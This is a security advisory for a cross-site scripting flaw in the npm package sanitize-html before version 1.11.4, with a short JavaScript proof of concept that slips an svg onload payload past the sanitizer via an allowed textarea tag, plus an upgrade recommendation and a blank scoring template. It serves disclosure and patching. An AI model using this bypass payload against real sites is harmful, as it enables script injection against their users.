GHSA-xc6g-ggrc-qq4r

    Dashboard / Vulnerabilities / GHSA-xc6g-ggrc-qq4r

    GHSA-xc6g-ggrc-qq4r

    Published: 9 Nov 2018Last Modified: 8 Nov 2023

    Summary: Cross-Site Scripting in sanitize-html

    Details: Affected versions of `sanitize-html` are vulnerable to cross-site scripting when allowedTags includes at least one `nonTextTag`. ## Proof of Concept ```js var sanitizeHtml = require('sanitize-html'); var dirty = '!<textarea>&lt;/textarea&gt;<svg/onload=prompt`xs`&gt;</textarea>!'; var clean = sanitizeHtml(dirty, { allowedTags: [ 'textarea' ] }); console.log(clean); // !<textarea></textarea><svg/onload=prompt`xs`></textarea>! ``` ## Recommendation Update to version 1.11.4 or later.

    Affected packages

    Package

    Name: sanitize-html

    Purl: pkg:npm/sanitize-html

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -1.11.4

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High